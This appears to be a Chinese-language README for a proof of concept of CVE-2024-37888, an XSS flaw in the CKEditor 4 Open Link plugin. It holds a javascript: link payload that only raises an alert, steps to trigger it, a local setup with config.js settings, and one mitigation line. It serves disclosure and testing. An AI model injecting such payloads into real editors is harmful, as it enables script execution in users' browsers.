本仓库记录了我发现并报告的CVE-2024-37888的漏洞细节及利用方法。
此概念验证(POC)演示了我最近在 Open Link 插件中发现的一个 XSS 漏洞的利用,该插件一旦启用,会直接影响 CKEditor 4 的所有版本。该漏洞允许通过编辑器内精心构造的链接执行 JavaScript,而该插件未能对其进行清理。此漏洞仅在安装了 Open Link 插件时才能在文本区域内被利用。Open Link 插件允许我们直接在编辑区域内打开链接。
该漏洞可通过此处预配置的 CKEditor 实例进行测试。
插入 Payload:
打开 CKEditor 实例,点击“Source”图标。
在文本区域中插入以下 payload:
<a href="javascript:alert('XSS Found')">XSS</a>

切换到 WYSIWYG 模式:

触发 XSS:

您可以按照以下步骤设置本地实例来测试此漏洞。
下载 CKEditor 4:

安装 Open Link 插件:
ckeditor/plugins/openlink 目录。
更新配置以包含 OpenLink 插件:
config.js 文件,在末尾添加以下行:config.extraPlugins = 'openlink';
config.linkShowTargetTab = false; // 隐藏链接目标标签页
config.openlink_modifier = 0; // 打开链接无需修饰键
config.openlink_enableReadOnly = true; // 允许在只读模式下打开链接
config.js:CKEDITOR.editorConfig = function( config ) {
// 在此定义对默认配置的更改。
config.extraPlugins = 'openlink';
config.linkShowTargetTab = false;
config.openlink_modifier = 0;
config.openlink_enableReadOnly = true;
};
此漏洞存在于 Open Link 插件的代码库中,而非 CKEditor 4 的代码库。上述 POC 演示了通过 CKEditor 4.*.* 中的 Open Link 插件利用 XSS 漏洞的过程。该漏洞允许通过特制链接执行任意 JavaScript,构成重大安全风险。
config.disallowedContent = 'a[onclick]';
在 HTML 中包含 CKEditor:
<!DOCTYPE html>
<html>
<head>
<script src="path/to/ckeditor/ckeditor.js"></script>
</head>
<body>
<textarea name="editor1" id="editor1"></textarea>
<script>
CKEDITOR.replace('editor1');
</script>
</body>
</html>
